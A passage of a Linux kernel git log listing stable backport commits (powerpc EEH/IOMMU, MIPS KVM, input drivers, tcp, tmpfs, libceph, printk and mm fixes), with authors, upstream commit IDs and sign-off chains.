Gavin Shan Tested-by: Guilherme G. Piccoli Signed-off-by: Michael Ellerman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 266180a08f4c58773d1b1768588ac29b83683fcf Author: Guilherme G. Piccoli Date: Mon Apr 11 16:17:23 2016 -0300 powerpc/iommu: Remove the dependency on EEH struct in DDW mechanism commit 8445a87f7092bc8336ea1305be9306f26b846d93 upstream. Commit 39baadbf36ce ("powerpc/eeh: Remove eeh information from pci_dn") changed the pci_dn struct by removing its EEH-related members. As part of this clean-up, DDW mechanism was modified to read the device configuration address from eeh_dev struct. As a consequence, now if we disable EEH mechanism on kernel command-line for example, the DDW mechanism will fail, generating a kernel oops by dereferencing a NULL pointer (which turns to be the eeh_dev pointer). This patch just changes the configuration address calculation on DDW functions to a manual calculation based on pci_dn members instead of using eeh_dev-based address. No functional changes were made. This was tested on pSeries, both in PHyp and qemu guest. Fixes: 39baadbf36ce ("powerpc/eeh: Remove eeh information from pci_dn") Cc: stable@vger.kernel.org # v3.4+ Reviewed-by: Gavin Shan Signed-off-by: Guilherme G. Piccoli Signed-off-by: Michael Ellerman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 94d5481abca3ac36b5319b55ab2fa1623063867f Author: Russell Currey Date: Thu Apr 7 16:28:26 2016 +1000 powerpc/pseries/eeh: Handle RTAS delay requests in configure_bridge commit 871e178e0f2c4fa788f694721a10b4758d494ce1 upstream. In the "ibm,configure-pe" and "ibm,configure-bridge" RTAS calls, the spec states that values of 9900-9905 can be returned, indicating that software should delay for 10^x (where x is the last digit, i.e. 990x) milliseconds and attempt the call again. Currently, the kernel doesn't know about this, and respecting it fixes some PCI failures when the hypervisor is busy. The delay is capped at 0.2 seconds. Cc: # 3.10+ Signed-off-by: Russell Currey Acked-by: Gavin Shan Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit bfc4af959d64015a256e4b9e101b679bb5986578 Author: Thomas Huth Date: Thu May 12 13:29:11 2016 +0200 powerpc: Use privileged SPR number for MMCR2 commit 8dd75ccb571f3c92c48014b3dabd3d51a115ab41 upstream. We are already using the privileged versions of MMCR0, MMCR1 and MMCRA in the kernel, so for MMCR2, we should better use the privileged versions, too, to be consistent. Fixes: 240686c13687 ("powerpc: Initialise PMU related regs on Power8") Suggested-by: Paul Mackerras Signed-off-by: Thomas Huth Acked-by: Paul Mackerras Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c524b61e1f222453cc7b337c0cfa6321d7a84778 Author: Thomas Huth Date: Thu May 12 13:26:44 2016 +0200 powerpc: Fix definition of SIAR and SDAR registers commit d23fac2b27d94aeb7b65536a50d32bfdc21fe01e upstream. The SIAR and SDAR registers are available twice, one time as SPRs 780 / 781 (unprivileged, but read-only), and one time as the SPRs 796 / 797 (privileged, but read and write). The Linux kernel code currently uses the unprivileged SPRs - while this is OK for reading, writing to that register of course does not work. Since the KVM code tries to write to this register, too (see the mtspr in book3s_hv_rmhandlers.S), the contents of this register sometimes get lost for the guests, e.g. during migration of a VM. To fix this issue, simply switch to the privileged SPR numbers instead. Signed-off-by: Thomas Huth Acked-by: Paul Mackerras Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 85b65e2d9b8923b9bb32d0f6f79d2c7fbc30ef97 Author: Hari Bathini Date: Fri Apr 15 22:48:02 2016 +1000 powerpc/book3s64: Fix branching to OOL handlers in relocatable kernel commit 8ed8ab40047a570fdd8043a40c104a57248dd3fd upstream. Some of the interrupt vectors on 64-bit POWER server processors are only 32 bytes long (8 instructions), which is not enough for the full first-level interrupt handler. For these we need to branch to an out-of-line (OOL) handler. But when we are running a relocatable kernel, interrupt vectors till __end_interrupts marker are copied down to real address 0x100. So, branching to labels (ie. OOL handlers) outside this section must be handled differently (see LOAD_HANDLER()), considering relocatable kernel, which would need at least 4 instructions. However, branching from interrupt vector means that we corrupt the CFAR (come-from address register) on POWER7 and later processors as mentioned in commit 1707dd16. So, EXCEPTION_PROLOG_0 (6 instructions) that contains the part up to the point where the CFAR is saved in the PACA should be part of the short interrupt vectors before we branch out to OOL handlers. But as mentioned already, there are interrupt vectors on 64-bit POWER server processors that are only 32 bytes long (like vectors 0x4f00, 0x4f20, etc.), which cannot accomodate the above two cases at the same time owing to space constraint. Currently, in these interrupt vectors, we simply branch out to OOL handlers, without using LOAD_HANDLER(), which leaves us vulnerable when running a relocatable kernel (eg. kdump case). While this has been the case for sometime now and kdump is used widely, we were fortunate not to see any problems so far, for three reasons: 1. In almost all cases, production kernel (relocatable) is used for kdump as well, which would mean that crashed kernel's OOL handler would be at the same place where we end up branching to, from short interrupt vector of kdump kernel. 2. Also, OOL handler was unlikely the reason for crash in almost all the kdump scenarios, which meant we had a sane OOL handler from crashed kernel that we branched to. 3. On most 64-bit POWER server processors, page size is large enough that marking interrupt vector code as executable (see commit 429d2e83) leads to marking OOL handler code from crashed kernel, that sits right below interrupt vector code from kdump kernel, as executable as well. Let us fix this by moving the __end_interrupts marker down past OOL handlers to make sure that we also copy OOL handlers to real address 0x100 when running a relocatable kernel. This fix has been tested successfully in kdump scenario, on an LPAR with 4K page size by using different default/production kernel and kdump kernel. Also tested by manually corrupting the OOL handlers in the first kernel and then kdump'ing, and then causing the OOL handlers to fire - mpe. Fixes: c1fb6816fb1b ("powerpc: Add relocation on exception vector handlers") Signed-off-by: Hari Bathini Signed-off-by: Mahesh Salgaonkar Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 597350cffea751ad3a27985dc6600d8cca865e6c Author: wang yanqing Date: Tue May 3 00:38:36 2016 +0800 rtlwifi: Fix logic error in enter/exit power-save mode commit 873ffe154ae074c46ed2d72dbd9a2a99f06f55b4 upstream. In commit a269913c52ad ("rtlwifi: Rework rtl_lps_leave() and rtl_lps_enter() to use work queue"), the tests for enter/exit power-save mode were inverted. With this change applied, the wifi connection becomes much more stable. Fixes: a269913c52ad ("rtlwifi: Rework rtl_lps_leave() and rtl_lps_enter() to use work queue") Signed-off-by: Wang YanQing Acked-by: Larry Finger Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit ad3418b017e4fda751897227dad531cc5fe2d254 Author: Prarit Bhargava Date: Wed May 11 12:27:16 2016 -0400 PCI: Disable all BAR sizing for devices with non-compliant BARs commit ad67b437f187ea818b2860524d10f878fadfdd99 upstream. b84106b4e229 ("PCI: Disable IO/MEM decoding for devices with non-compliant BARs") disabled BAR sizing for BARs 0-5 of devices that don't comply with the PCI spec. But it didn't do anything for expansion ROM BARs, so we still try to size them, resulting in warnings like this on Broadwell-EP: pci 0000:ff:12.0: BAR 6: failed to assign [mem size 0x00000001 pref] Move the non-compliant BAR check from __pci_read_base() up to pci_read_bases() so it applies to the expansion ROM BAR as well as to BARs 0-5. Note that direct callers of __pci_read_base(), like sriov_init(), will now bypass this check. We haven't had reports of devices with broken SR-IOV BARs yet. [bhelgaas: changelog] Fixes: b84106b4e229 ("PCI: Disable IO/MEM decoding for devices with non-compliant BARs") Signed-off-by: Prarit Bhargava Signed-off-by: Bjorn Helgaas CC: Thomas Gleixner CC: Ingo Molnar CC: "H. Peter Anvin" CC: Andi Kleen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit deed46abebf4231837333de8e2870eb54b85e600 Author: Raghava Aditya Renukunta Date: Mon Apr 25 23:31:57 2016 -0700 aacraid: Fix for aac_command_thread hang commit fc4bf75ea300a5e62a2419f89dd0e22189dd7ab7 upstream. Typically under error conditions, it is possible for aac_command_thread() to miss the wakeup from kthread_stop() and go back to sleep, causing it to hang aac_shutdown. In the observed scenario, the adapter is not functioning correctly and so aac_fib_send() never completes (or time-outs depending on how it was called). Shortly after aac_command_thread() starts it performs aac_fib_send(SendHostTime) which hangs. When aac_probe_one /aac_get_adapter_info send time outs, kthread_stop is called which breaks the command thread out of it's hang. The code will still go back to sleep in schedule_timeout() without checking kthread_should_stop() so it causes aac_probe_one to hang until the schedule_timeout() which is 30 minutes. Fixed by: Adding another kthread_should_stop() before schedule_timeout() Cc: stable@vger.kernel.org Signed-off-by: Raghava Aditya Renukunta Reviewed-by: Johannes Thumshirn Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c6b15e16198b5e1f3b48b2d11c6502455ca59c27 Author: Raghava Aditya Renukunta Date: Mon Apr 25 23:31:26 2016 -0700 aacraid: Relinquish CPU during timeout wait commit 07beca2be24cc710461c0b131832524c9ee08910 upstream. aac_fib_send has a special function case for initial commands during driver initialization using wait < 0(pseudo sync mode). In this case, the command does not sleep but rather spins checking for timeout.This loop is calls cpu_relax() in an attempt to allow other processes/threads to use the CPU, but this function does not relinquish the CPU and so the command will hog the processor. This was observed in a KDUMP "crashkernel" and that prevented the "command thread" (which is responsible for completing the command from being timed out) from starting because it could not get the CPU. Fixed by replacing "cpu_relax()" call with "schedule()" Cc: stable@vger.kernel.org Signed-off-by: Raghava Aditya Renukunta Reviewed-by: Johannes Thumshirn Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 98b2c0cbba74afbe99e517a41ace2c0d9a91fa36 Author: Joseph Salisbury Date: Mon Mar 14 14:51:48 2016 -0400 ath5k: Change led pin configuration for compaq c700 laptop commit 7b9bc799a445aea95f64f15e0083cb19b5789abe upstream. BugLink: http://bugs.launchpad.net/bugs/972604 Commit 09c9bae26b0d3c9472cb6ae45010460a2cee8b8d ("ath5k: add led pin configuration for compaq c700 laptop") added a pin configuration for the Compaq c700 laptop. However, the polarity of the led pin is reversed. It should be red for wifi off and blue for wifi on, but it is the opposite. This bug was reported in the following bug report: http://pad.lv/972604 Fixes: 09c9bae26b0d3c9472cb6ae45010460a2cee8b8d ("ath5k: add led pin configuration for compaq c700 laptop") Signed-off-by: Joseph Salisbury Cc: stable@vger.kernel.org Signed-off-by: Kalle Valo Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 877480e4d71bd11da0ea6a544d27549dfc920c39 Author: Cameron Gutman Date: Wed Jun 29 09:51:35 2016 -0700 Input: xpad - validate USB endpoint count during probe commit caca925fca4fb30c67be88cacbe908eec6721e43 upstream. This prevents a malicious USB device from causing an oops. Signed-off-by: Cameron Gutman Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 1101d4dbbf1ce507793d93f70486cafa260f617b Author: Ping Cheng Date: Thu Jun 23 10:54:17 2016 -0700 Input: wacom_w8001 - w8001_MAX_LENGTH should be 13 commit 12afb34400eb2b301f06b2aa3535497d14faee59 upstream. Somehow the patch that added two-finger touch support forgot to update W8001_MAX_LENGTH from 11 to 13. Signed-off-by: Ping Cheng Reviewed-by: Peter Hutterer Cc: stable@vger.kernel.org Signed-off-by: Dmitry Torokhov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit be9f82206b4256f357adf75c452809478edcdc36 Author: Ricky Liang Date: Fri May 20 10:58:59 2016 -0700 Input: uinput - handle compat ioctl for UI_SET_PHYS commit affa80bd97f7ca282d1faa91667b3ee9e4c590e6 upstream. When running a 32-bit userspace on a 64-bit kernel, the UI_SET_PHYS ioctl needs to be treated with special care, as it has the pointer size encoded in the command. Signed-off-by: Ricky Liang Cc: stable@vger.kernel.org Signed-off-by: Dmitry Torokhov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit effa1accb8ce191c96dce9d9b2bdf359717d3b4a Author: James Hogan Date: Thu Jun 9 10:50:43 2016 +0100 MIPS: KVM: Fix modular KVM under QEMU commit 797179bc4fe06c89e47a9f36f886f68640b423f8 upstream. Copy __kvm_mips_vcpu_run() into unmapped memory, so that we can never get a TLB refill exception in it when KVM is built as a module. This was observed to happen with the host MIPS kernel running under QEMU, due to a not entirely transparent optimisation in the QEMU TLB handling where TLB entries replaced with TLBWR are copied to a separate part of the TLB array. Code in those pages continue to be executable, but those mappings persist only until the next ASID switch, even if they are marked global. An ASID switch happens in __kvm_mips_vcpu_run() at exception level after switching to the guest exception base. Subsequent TLB mapped kernel instructions just prior to switching to the guest trigger a TLB refill exception, which enters the guest exception handlers without updating EPC. This appears as a guest triggered TLB refill on a host kernel mapped (host KSeg2) address, which is not handled correctly as user (guest) mode accesses to kernel (host) segments always generate address error exceptions. Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: Radim KrÄÂmář Cc: Ralf Baechle Cc: kvm@vger.kernel.org Cc: linux-mips@linux-mips.org Cc: # 3.10.x- Signed-off-by: Paolo Bonzini [james.hogan@imgtec.com: backported for stable 3.14] Signed-off-by: James Hogan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e19f7c0a9642216646fdf621ef5a41efcbdfc587 Author: Ralf Baechle Date: Thu Feb 4 01:24:40 2016 +0100 MIPS: Fix 64k page support for 32 bit kernels. commit d7de413475f443957a0c1d256e405d19b3a2cb22 upstream. TASK_SIZE was defined as 0x7fff8000UL which for 64k pages is not a multiple of the page size. Somewhere further down the math fails such that executing an ELF binary fails. Signed-off-by: Ralf Baechle Tested-by: Joshua Henderson Cc: James Hogan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 96fd894f3cca88fe6b67d8a0fb514b7bf1fe1d86 Author: Matthias Schiffer Date: Thu Mar 24 16:02:52 2016 +0100 MIPS: ath79: make bootconsole wait for both THRE and TEMT commit f5b556c94c8490d42fea79d7b4ae0ecbc291e69d upstream. This makes the ath79 bootconsole behave the same way as the generic 8250 bootconsole. Also waiting for TEMT (transmit buffer is empty) instead of just THRE (transmit buffer is not full) ensures that all characters have been transmitted before the real serial driver starts reconfiguring the serial controller (which would sometimes result in garbage being transmitted.) This change does not cause a visible performance loss. In addition, this seems to fix a hang observed in certain configurations on many AR7xxx/AR9xxx SoCs during autoconfig of the real serial driver. A more complete follow-up patch will disable 8250 autoconfig for ath79 altogether (the serial controller is detected as a 16550A, which is not fully compatible with the ath79 serial, and the autoconfig may lead to undefined behavior on ath79.) Cc: Signed-off-by: Matthias Schiffer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 5bc72600da069183396e80570e567774625b5684 Author: James Hogan Date: Mon Feb 8 18:43:49 2016 +0000 MIPS: Fix siginfo.h to use strict posix types commit 5daebc477da4dfeb31ae193d83084def58fd2697 upstream. Commit 85efde6f4e0d ("make exported headers use strict posix types") changed the asm-generic siginfo.h to use the __kernel_* types, and commit 3a471cbc081b ("remove __KERNEL_STRICT_NAMES") make the internal types accessible only to the kernel, but the MIPS implementation hasn't been updated to match. Switch to proper types now so that the exported asm/siginfo.h won't produce quite so many compiler errors when included alone by a user program. Signed-off-by: James Hogan Cc: Christopher Ferris Cc: linux-mips@linux-mips.org Cc: # 2.6.30- Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/12477/ Signed-off-by: Ralf Baechle Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b7640d763846b5aafecb37dee4841d8f5aa61414 Author: Paul Burton Date: Thu Apr 21 14:04:55 2016 +0100 MIPS: math-emu: Fix jalr emulation when rd == $0 commit ab4a92e66741b35ca12f8497896bafbe579c28a1 upstream. When emulating a jalr instruction with rd == $0, the code in isBranchInstr was incorrectly writing to GPR $0 which should actually always remain zeroed. This would lead to any further instructions emulated which use $0 operating on a bogus value until the task is next context switched, at which point the value of $0 in the task context would be restored to the correct zero by a store in SAVE_SOME. Fix this by not writing to rd if it is $0. Fixes: 102cedc32a6e ("MIPS: microMIPS: Floating point support.") Signed-off-by: Paul Burton Cc: Maciej W. Rozycki Cc: James Hogan Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/13160/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 21217b5a52420f8fd3795426c9c3296080e864b3 Author: James Hogan Date: Thu Aug 18 10:22:55 2016 +0100 MIPS: KVM: Propagate kseg0/mapped tlb fault errors commit 9b731bcfdec4c159ad2e4312e25d69221709b96a upstream. Propagate errors from kvm_mips_handle_kseg0_tlb_fault() and kvm_mips_handle_mapped_seg_tlb_fault(), usually triggering an internal error since they normally indicate the guest accessed bad physical memory or the commpage in an unexpected way. Fixes: 858dd5d45733 ("KVM/MIPS32: MMU/TLB operations for the Guest.") Fixes: e685c689f3a8 ("KVM/MIPS32: Privileged instruction/target branch emulation.") Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: "Radim KrÄÂmář" Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Signed-off-by: Radim KrÄÂmář [james.hogan@imgtec.com: Backport to v3.10.y - v3.15.y] Signed-off-by: James Hogan Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e4cbf89a756894c6f3392831a0c299ee0b407266 Author: James Hogan Date: Thu Aug 18 10:22:54 2016 +0100 MIPS: KVM: Fix gfn range check in kseg0 tlb faults commit 0741f52d1b980dbeb290afe67d88fc2928edd8ab upstream. Two consecutive gfns are loaded into host TLB, so ensure the range check isn't off by one if guest_pmap_npages is odd. Fixes: 858dd5d45733 ("KVM/MIPS32: MMU/TLB operations for the Guest.") Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: "Radim KrÄÂmář" Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Signed-off-by: Radim KrÄÂmář [james.hogan@imgtec.com: Backport to v3.10.y - v3.15.y] Signed-off-by: James Hogan Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 7e333e5efec845bdb5efc126183f21ca1535e52a Author: James Hogan Date: Thu Aug 18 10:22:53 2016 +0100 MIPS: KVM: Add missing gfn range check commit 8985d50382359e5bf118fdbefc859d0dbf6cebc7 upstream. kvm_mips_handle_mapped_seg_tlb_fault() calculates the guest frame number based on the guest TLB EntryLo values, however it is not range checked to ensure it lies within the guest_pmap. If the physical memory the guest refers to is out of range then dump the guest TLB and emit an internal error. Fixes: 858dd5d45733 ("KVM/MIPS32: MMU/TLB operations for the Guest.") Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: "Radim KrÄÂmář" Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Signed-off-by: Radim KrÄÂmář [james.hogan@imgtec.com: Backport to v3.10.y - v3.15.y] Signed-off-by: James Hogan Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 69d507133783dacc794c0bf849542f5a85543cc8 Author: James Hogan Date: Thu Aug 18 10:22:52 2016 +0100 MIPS: KVM: Fix mapped fault broken commpage handling commit c604cffa93478f8888bec62b23d6073dad03d43a upstream. kvm_mips_handle_mapped_seg_tlb_fault() appears to map the guest page at virtual address 0 to PFN 0 if the guest has created its own mapping there. The intention is unclear, but it may have been an attempt to protect the zero page from being mapped to anything but the comm page in code paths you wouldn't expect from genuine commpage accesses (guest kernel mode cache instructions on that address, hitting trapping instructions when executing from that address with a coincidental TLB eviction during the KVM handling, and guest user mode accesses to that address). Fix this to check for mappings exactly at KVM_GUEST_COMMPAGE_ADDR (it may not be at address 0 since commit 42aa12e74e91 ("MIPS: KVM: Move commpage so 0x0 is unmapped")), and set the corresponding EntryLo to be interpreted as 0 (invalid). Fixes: 858dd5d45733 ("KVM/MIPS32: MMU/TLB operations for the Guest.") Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: "Radim KrÄÂmář" Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Signed-off-by: Radim KrÄÂmář [james.hogan@imgtec.com: Backport to v3.10.y - v3.15.y] Signed-off-by: James Hogan Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit a10a39c78e5cf0b51b9f4c836726ebb214bc1b61 Author: Soheil Hassas Yeganeh Date: Fri Jul 29 09:34:02 2016 -0400 tcp: consider recv buf for the initial window scale commit f626300a3e776ccc9671b0dd94698fb3aa315966 upstream. tcp_select_initial_window() intends to advertise a window scaling for the maximum possible window size. To do so, it considers the maximum of net.ipv4.tcp_rmem[2] and net.core.rmem_max as the only possible upper-bounds. However, users with CAP_NET_ADMIN can use SO_RCVBUFFORCE to set the socket's receive buffer size to values larger than net.ipv4.tcp_rmem[2] and net.core.rmem_max. Thus, SO_RCVBUFFORCE is effectively ignored by tcp_select_initial_window(). To fix this, consider the maximum of net.ipv4.tcp_rmem[2], net.core.rmem_max and socket's initial buffer space. Fixes: b0573dea1fb3 ("[NET]: Introduce SO_{SND,RCV}BUFFORCE socket options") Signed-off-by: Soheil Hassas Yeganeh Suggested-by: Neal Cardwell Acked-by: Neal Cardwell Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d9bf0ca5ca864a446a1bdb6a23435b4569677a6e Author: Yuchung Cheng Date: Mon Jun 6 15:07:18 2016 -0700 tcp: record TLP and ER timer stats in v6 stats commit ce3cf4ec0305919fc69a972f6c2b2efd35d36abc upstream. The v6 tcp stats scan do not provide TLP and ER timer information correctly like the v4 version . This patch fixes that. Fixes: 6ba8a3b19e76 ("tcp: Tail loss probe (TLP)") Fixes: eed530b6c676 ("tcp: early retransmit") Signed-off-by: Yuchung Cheng Signed-off-by: Neal Cardwell Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 152ff88e36e35b2aae4f384649ef698962caee21 Author: Hugh Dickins Date: Sun Jul 10 16:46:32 2016 -0700 tmpfs: fix regression hang in fallocate undo commit 7f556567036cb7f89aabe2f0954b08566b4efb53 upstream. The well-spotted fallocate undo fix is good in most cases, but not when fallocate failed on the very first page. index 0 then passes lend -1 to shmem_undo_range(), and that has two bad effects: (a) that it will undo every fallocation throughout the file, unrestricted by the current range; but more importantly (b) it can cause the undo to hang, because lend -1 is treated as truncation, which makes it keep on retrying until every page has gone, but those already fully instantiated will never go away. Big thank you to xfstests generic/269 which demonstrates this. Fixes: b9b4bb26af01 ("tmpfs: don't undo fallocate past its last page") Signed-off-by: Hugh Dickins Signed-off-by: Linus Torvalds Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 08124482e925a32afbfa97dbaba2489e213d206c Author: Anthony Romano Date: Fri Jun 24 14:48:43 2016 -0700 tmpfs: don't undo fallocate past its last page commit b9b4bb26af017dbe930cd4df7f9b2fc3a0497bfe upstream. When fallocate is interrupted it will undo a range that extends one byte past its range of allocated pages. This can corrupt an in-use page by zeroing out its first byte. Instead, undo using the inclusive byte range. Fixes: 1635f6a74152f1d ("tmpfs: undo fallocation on failure") Link: http://lkml.kernel.org/r/1462713387-16724-1-git-send-email-anthony.romano@coreos.com Signed-off-by: Anthony Romano Cc: Vlastimil Babka Cc: Hugh Dickins Cc: Brandon Philips Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 44c3f499d209eb2716549d399095c2cc4f87fda1 Author: Ilya Dryomov Date: Sun Jul 24 18:32:16 2016 +0200 libceph: apply new_state before new_up_client on incrementals commit 930c532869774ebf8af9efe9484c597f896a7d46 upstream. Currently, osd_weight and osd_state fields are updated in the encoding order. This is wrong, because an incremental map may look like e.g. new_up_client: { osd=6, addr=... } # set osd_state and addr new_state: { osd=6, xorstate=EXISTS } # clear osd_state Suppose osd6's current osd_state is EXISTS (i.e. osd6 is down). After applying new_up_client, osd_state is changed to EXISTS | UP. Carrying on with the new_state update, we flip EXISTS and leave osd6 in a weird "!EXISTS but UP" state. A non-existent OSD is considered down by the mapping code 2087 for (i = 0; i < pg->pg_temp.len; i++) { 2088 if (ceph_osd_is_down(osdmap, pg->pg_temp.osds[i])) { 2089 if (ceph_can_shift_osds(pi)) 2090 continue; 2091 2092 temp->osds[temp->size++] = CRUSH_ITEM_NONE; and so requests get directed to the second OSD in the set instead of the first, resulting in OSD-side errors like: [WRN] : client.4239 192.168.122.21:0/2444980242 misdirected client.4239.1:2827 pg 2.5df899f2 to osd.4 not [1,4,6] in e680/680 and hung rbds on the client: [ 493.566367] rbd: rbd0: write 400000 at 11cc00000 (0) [ 493.566805] rbd: rbd0: result -6 xferred 400000 [ 493.567011] blk_update_request: I/O error, dev rbd0, sector 9330688 The fix is to decouple application from the decoding and: - apply new_weight first - apply new_state before new_up_client - twiddle osd_state flags if marking in - clear out some of the state if osd is destroyed Fixes: http://tracker.ceph.com/issues/14901 Signed-off-by: Ilya Dryomov Reviewed-by: Josh Durgin [idryomov@gmail.com: backport to 3.10-3.14: strip primary-affinity] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 175fa91419e404cf271e01397f255951d72c3394 Author: Tejun Heo Date: Fri Jul 15 15:08:20 2016 -0400 printk: do cond_resched() between lines while outputting to consoles commit 8d91f8b15361dfb438ab6eb3b319e2ded43458ff upstream. @console_may_schedule tracks whether console_sem was acquired through lock or trylock. If the former, we're inside a sleepable context and console_conditional_schedule() performs cond_resched(). This allows console drivers which use console_lock for synchronization to yield while performing time-consuming operations such as scrolling. However, the actual console outputting is performed while holding irq-safe logbuf_lock, so console_unlock() clears @console_may_schedule before starting outputting lines. Also, only a few drivers call console_conditional_schedule() to begin with. This means that when a lot of lines need to be output by console_unlock(), for example on a console registration, the task doing console_unlock() may not yield for a long time on a non-preemptible kernel. If this happens with a slow console devices, for example a serial console, the outputting task may occupy the cpu for a very long time. Long enough to trigger softlockup and/or RCU stall warnings, which in turn pile more messages, sometimes enough to trigger the next cycle of warnings incapacitating the system. Fix it by making console_unlock() insert cond_resched() between lines if @console_may_schedule. Signed-off-by: Tejun Heo Reported-by: Calvin Owens Acked-by: Jan Kara Cc: Dave Jones Cc: Kyle McMartin Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds [ciwillia@brocade.com: adjust context for 3.10.y] Signed-off-by: Chas Williams Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 36bf934f402df95e9d22e08eb8ca57fc1bc6d881 Author: Hugh Dickins Date: Fri Jul 15 15:08:19 2016 -0400 mm: migrate dirty page without clear_page_dirty_for_io etc commit 42cb14b110a5698ccf26ce59c4441722605a3743 upstream. clear_page_dirty_for_io() has accumulated writeback and memcg subtleties since v2.6.16 first introduced page migration; and the set_page_dirty() which completed its migration of PageDirty, later had to be moderated to __set_page_dirty_nobuffers(); then PageSwapBacked had to skip that too. No actual problems seen with this procedure recently, but if you look into what the clear_page_dirty_for_io(page)+set_page_dirty(newpage) is actually achieving, it turns out to be nothing more than moving the PageDirty flag, and its NR_FILE_DIRTY stat from one zone to another. It would be good to avoid a pile of irrelevant decrementations and incrementations, and improper event counting, and unnecessary descent of the radix_tree under tree_lock (to set the PAGECACHE_TAG_DIRTY which radix_tree_replace_slot() left in place anyway). Do the NR_FILE_DIRTY movement, like the other stats movements, while interrupts still disabled in migrate_page_move_mapping(); and don't even bother if the zone is the same. Do the PageDirty movement there under tree_lock too, where old page is frozen and newpage not yet visible: bearing in mind that as soon as newpage becomes visible in radix_tree, an un-page-locked set_page_dirty() might interfere (or perhaps that's just not possible: anything doing so should already hold an additional reference to the old page, preventing its migration; but play safe). But we do still need to transfer PageDirty in migrate_page_copy(), for those who don't go the mapping route through migrate_page_move_mapping(). CVE-2016-3070 Signed-off-by: Hugh Dickins Cc: Christoph Lameter Cc: "Kirill A. Shutemov" Cc: Rik van Riel Cc: Vlastimil Babka Cc: Davidlohr Bueso Cc: Oleg Nesterov Cc: Sasha Levin Cc: Dmitry Vyukov Cc: KOSAKI Motohiro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds [ciwillia@brocade.com: backported to 3.10: adjusted context] Signed-off-by: Charles (Chas) Williams Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c91ff6218bee9f4d971734b96dc5fcade7297021 Author: Andy Lutomirski Date: Fri Jul 15 14:26:26 2016 -0400 x86/mm: Add barriers and document switch_mm()-vs-flush synchronization commit 71b3c126e61177eb693423f2e18a1914205b165e upstream. When switch_mm() activates a new PGD, it also sets a bit that tells other CPUs that the PGD is in use so that TLB flush IPIs will be sent. In order for that to work correctly, the bit needs to be visible prior to loading the PGD and therefore starting to fill the local TLB. Document all the barriers that make this work correctly and add a couple that were missing. CVE-2016-2069 Signed-off-by: Andy Lutomirski Cc: Andrew Morton Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Dave Hansen Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Rik van Riel Cc: Thomas Gleixner Cc: linux-mm@kvack.org Signed-off-by: Ingo Molnar [ luis: backported to 3.16: - dropped N/A comment in flush_tlb_mm_range() - adjusted context ] Signed-off-by: Luis Henriques [ciwillia@brocade.com: backported to 3.10: adjusted context] Signed-off-by: Charles (Chas) Williams Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 78548750963dee6be9d2966f758be099cad68459 Author: Yoshihiro Shimoda Date: Wed Jun 8 16:32:50 2016 +0900 usb: renesas_usbhs: protect the CFIFOSEL setting in usbhsg_ep_enable() commit 15e4292a2d21e9997fdb2b8c014cc461b3f268f0 upstream. This patch fixes an issue that the CFIFOSEL register value 